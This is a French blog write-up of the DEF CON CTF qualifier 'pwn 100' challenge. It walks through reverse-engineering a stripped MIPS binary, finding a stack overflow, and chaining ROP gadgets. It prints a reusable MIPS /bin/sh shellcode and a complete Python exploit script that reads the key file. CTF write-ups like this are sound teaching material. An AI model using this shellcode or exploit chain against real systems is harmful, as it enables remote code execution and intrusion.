FR EN

pwn 100

Le pwn 100 était un pseudo-shell restreint qui permettait notamment de transformer des PNG en ASCII Art. C'est le premier pwnable a avoir été dispo (et pendant longtemps le seul d'ailleurs). Je suis parti dans une mauvaise direction pour l'exploitation de ce pwnable et donc on n'a pas réussi à le valider (et les autres avaient mieux à faire que de s'embêter sur un exécutable comme ça pour 100 points, ça ne vaut pas le coup). On commence donc par regarder le type d'exécutable auquel nous avons à faire :

$ file ./pwn100
./pwn100: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped

Bon c'est sûr, faut pas s'attendre à du x86 Linux simple sur Defcon, mais voir du MIPS fait peur, personnellement je n'en avais jamais fait. Un petit test sur leur serveur pour essayer d'observer ce que fait l'exécutable :

$ nc 140.197.217.85 1994

IRIX (quals.ddtek.biz)
login: ^D
IRIX Release 6.5 IP32 ddtek
Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved.
Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz

dd 0% help
Available commands:
qotd
ls
png2ascii
help
exit
quit
dd 1% ls
	key
	..
	.
dd 2% png2ascii
Copy and paste your PNG file and I will convert it to ASCII for you:
e
[...]
dd 3% quit
$

L'objectif est apparemment le fichier key. En premier lieu nous avons essayé de trouver la vuln par essais + analyse statique. Comme l'exécutable est statique et strippé, on n'a pas vraiment d'intuition sur le but des fonctions appellées en premier lieu, mais on s'en sort assez facilement en retrouvant les chaînes de caractères représentant les commandes (ls, help, quit) et on trouve la fonction qui les traite à 0x00401554. Il n'y a que peu de commandes disponibles donc le code se comprend bien et on trouve la fonction png2ascii à 0x401BC4. Après initialisation de la pile, le code commence par trois appels de fonctions :

addiu $a1, (aCopyAndPasteYo - 0x990000) 
move $a2, $0
la $t9, send
nop
jalr $t9 ; send
nop
lw $gp, 0x130+var_120($fp)
addiu $v0, $fp, 0x130+var_108
move $a0, $v0
move $a1, $0
li $a2, 0x100
la $t9, memset
nop
jalr $t9 ; memset
nop
lw $gp, 0x130+var_120($fp)
addiu $v0, $fp, 0x130+var_108
lw $a0, 0x130+arg_0($fp)
move $a1, $v0
li $a2, 0x200
li $a3, 0xA
la $t9, read
nop
jalr $t9 ; read

Trouver le but des fonctions read et send n'a pas été difficile, en réalité on tombe très vite sur les appels systèmes 4003 et 4178. Un petit coup d'oeil à arch/mips/include/asm/unistd.h de n'importe quel kernel nous donne les appels système correspondants. Les derniers paramètres ressemble à des butées (send until \x00 et read until \x0a). Je n'ai pas vérifié le memset en réalité, mais on voit qu'on a une opération sur un buffer de 0x100 caractères, puis un read de 0x200 vers le même buffer. On teste donc avec 0x100 et 0x101 caractères.

$ python -c "print 'png2ascii\n' + 'A'*256" | nc 140.197.217.85 1994

IRIX (quals.ddtek.biz)
login: ^D
IRIX Release 6.5 IP32 ddtek
Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved.
Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz

dd 0% Copy and paste your PNG file and I will convert it to ASCII for you:
[...]
dd 1% 
^C
$ python -c "print 'png2ascii\n' + 'A'*257" | nc 140.197.217.85 1994

IRIX (quals.ddtek.biz)
login: ^D
IRIX Release 6.5 IP32 ddtek
Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved.
Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz

dd 0% Copy and paste your PNG file and I will convert it to ASCII for you:
[...] 
$

Dans le deuxième cas, la connexion est interrompue prématurément et on a donc un overflow classique avec fp à payload + 256 et pc à payload + 260. Bon à partir de là la galère a commencé. En premier lieu, trouver un environnement de simulation pour débugguer l'application, ce qui nous a déjà pris pas mal d'heures... Au final, on a trouvé un noyau correct + une image hda pour MIPS little endian, ce qui nous a permis d'avoir un système potable sous qemu.

Ensuite, puisque MIPS n'a pas de NX et vu que l'exécutable était flaggué Linux 2.4.18, j'ai assumé qu'il n'y avait pas d'ASLR non plus. Je me suis dit ez np et j'ai commencé à débugguer en statique et à faire un exploit statique avec un shellcode de base. Une fois l'heure de passer sur le serveur, j'ai vu que les exec pour une même adresse étaient différentes et donc qu'il y avait de l'ASLR... La frustration ne m'a pas permis de prendre le dessus ce week-end mais on va faire comme si tout s'était bien passé :]

Puisqu'il y a ASLR, il fallait en premier lieu voir quels registres on contrôlait pour ensuite chercher des gadgets dans cette base de code énorme. On teste en envoyant 512 caractères pour écraser le maximum :

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1002]
0x41414141 in ?? ()
(gdb) info reg
	zero		at		v0		v1		a0		a1		a2		a3
	00000000 	00400564 	ffffffff 	00000002 	41414141 	009918f0 	00000002 	00000001 
	t0		t1		t2		t3		t4		t5		t6		t7
	00000009	80000008	804135f8	fffffffc	00000001	00000000	a801d4f5	00000000 
	s0		s1		s2		s3		s4		s5		s6		s7
	10005190	00517e08	7f98a3b2	00000001	7f98a504	10009fe0	00000000	004022e0 
	t8		t9		k0		k1		gp		sp		s8		ra
	00000000	00000000	00000000	00000000	10010a70	7f98a0e8	41414141	41414141 
	pc
	41414141

Bon ce n'est pas forcément facile à lire comme ça mais on voit qu'on contrôle ra (registre contenant l'adresse de retour), s8 (frame pointer) et a0. Comme la stack est exécutable, le plus simple n'est pas de faire un full return into libc ici, puisque il est difficile de trouver les bonnes adresses des fonctions de la libc, qu'il n'y a pas de vrai équivalent pop/ret et que MIPS est un processeur RISC (donc on est obligés d'utiliser des vrais instructions alignées).

Ici, on a de la chance car s4 contient une adresse de la pile qui est statique par rapport à l'emplacement du buffer : argv. Comme l'exécutable est compilé statiquement, on est sûr qu'il n'y aura pas de différentiel sur la pile en dehors des variables d'environnement et des arguments qui sont placés en dessous de argv qui pointe sur eux. Du coup, je me suis mis à la recherche d'instructions permettant de ramener s4 dans un registre qui peut être exécuté, en y ajoutant un offset arbitraire depuis un registre que nous contrôlons. Il ne faut pas oublier que nous contrôlons 248 bytes après sp lorsque ra est appellé. Pour la faire courte, j'ai choisi les gadgets suivants :

.text:0041FFA0
	move $a0, $s4
	lw $ra, arg_30($sp)
	lw $s5, arg_2C($sp)
	lw $s4, arg_28($sp)
	lw $s3, arg_24($sp)
	lw $s2, arg_20($sp)
	lw $s1, arg_1C($sp)
	lw $s0, arg_18($sp)
	move $v0, $a0
	jr $ra

.text:00441BC4
	lw $gp, 0x20+var_10($sp)
	lw $ra, 0x20+var_4($sp)
	lw $s0, 0x20+var_8($sp)
	jr $ra

.text:0045CF70
	addu $a0, $gp
	jr $a0

Le premier gadget récupère s4 dans a0, retourne à une valeur arbitraire. Le deuxième mets gp à une valeur arbitraire et retourne dans une autre valeur arbitraire, et le troisième appelle a0 + gp. A coups de patterns, on trouve facilement les endroits dans le payload concernés et le debug nous donne l'offset entre argv et le début de notre buffer : 0xfffffadc.

Il ne reste plus qu'à faire un shellcode viable, qui n'est pas si évident sous x86. Je n'ai pas été vers le bind et le reverse shell car après tout on ne sait pas s'il y a des filtrages en place, et coder un shellcode pour MIPS little endian, ce n'est pas si simple. Devant le peu de shellcodes fonctionnels < 260 bytes que j'ai trouvés, j'en ai refait un pour faire un dup(4, 0) ; dup(4, 1) ; dup(4, 2) ; execve("/bin/sh", ["/bin/sh"], NULL). Bon en vrai, il faudrait faire plusieurs essais, au cas où il y a d'autres connexions actives mais ce n'est pas un gros problème.

En mettant tout cela bout à bout, ça nous donne le petit sploit suivant :

#!/usr/bin/python

import socket
import struct
import select
import sys

s = socket.socket()
s.connect((sys.argv[1], 1994))
s.send("png2ascii\n")

ret_addr = 0x41FFA0
ret_addr_2 = 0x441BC4
ret_addr_3 = 0x45CF70

offset=0xfffffadc

pattern = [pattern metasploit]

shellcode = "\xff\xff\x50\x30\x25\x20\x10\x02\xfb\xff\x0f\x24\x27\x20\xe0\x01\xfd\xff\x0f\x24\x27\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xfb\xff\x0f\x24\x27\x20\xe0\x01\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xfb\xff\x0f\x24\x27\x20\xe0\x01\xff\xff\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xf4\xff\xaf\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf8\xff\xae\xaf\xfc\xff\xa0\xaf\xf4\xff\xa4\x27\xff\xff\x05\x28\xab\x0f\x02\x24\x0c\x01\x01\x01"

payload = shellcode
payload += pattern[len(shellcode):260] + struct.pack("<I", ret_addr) # a0 = s4
payload += pattern[264:312] + struct.pack("<I", ret_addr_2) # gp = offset
payload += pattern[316:336] + struct.pack("<I", offset)
payload += pattern[340:348] + struct.pack("<I", ret_addr_3) + pattern[316:512] #a0 += gp, jr ao

s.send(payload + "\n")
while select.select([s], [], [], 1)[0]:
	s.recv(1)

s.send("cat key\n")
ret = ""
while select.select([s], [], [], 1)[0]:
	ret += s.recv(1)
print ret

Pour tester, j'ai placé un fichier "key" dans /home/irix/ contenant "key file content" :

$ ./sploit.py localhost
key file content

$

Il n'empêche que c'est exactement ce que je n'aime pas dans le CTF de ddtek. En soit, l'épreuve est sympa, permet de découvrir une archi qu'on a pas forcément l'habitude de manipuler. Mais trouver et installer un environnement de simu + analyse d'un exécutable statique MIPS + fausse indication de version + fabriquer un shellcode MIPS + trouver des gadgets corrects dans l'exécutable = 100 points ... Quand à côté le grab bag 100 c'est compléter la phrase "Hack the planet" avec un point d'interrogation ou le urandom 100 c'est compter le nombre d'occurences de "developper" dans une vidéo, perso je trouve ça nul. D'autant que de mon point de vue, les pwn200 et 300 sous FreeBSD étaient plus simples et classiques, mais c'est la vie et ça n'empêche pas les meilleurs de gagner.

3 comments

  1. FrizN 06/07/12 15:25

    Et il y avait encore plus simple : http://pastebin.com/eqzdtwmw . Bon j'avais vraiment pas les idées claires ce w-e... Mais au moins mon sploit est joli x)

  2. FrizN 06/07/12 15:23

    Bonne remarque, j'ai pas réfléchi, les exec différentes c'était juste des aléas de bufferisation des entrées/sorties probablement, mais vu qu'il n'y avait qu'un fork() ça changeait rien :x

  3. Anonyme 06/07/12 15:07

    Je comprends pas trop comment vous avez observé des exec différentes, LSE eux ils ont juste bruteforce la pile je crois.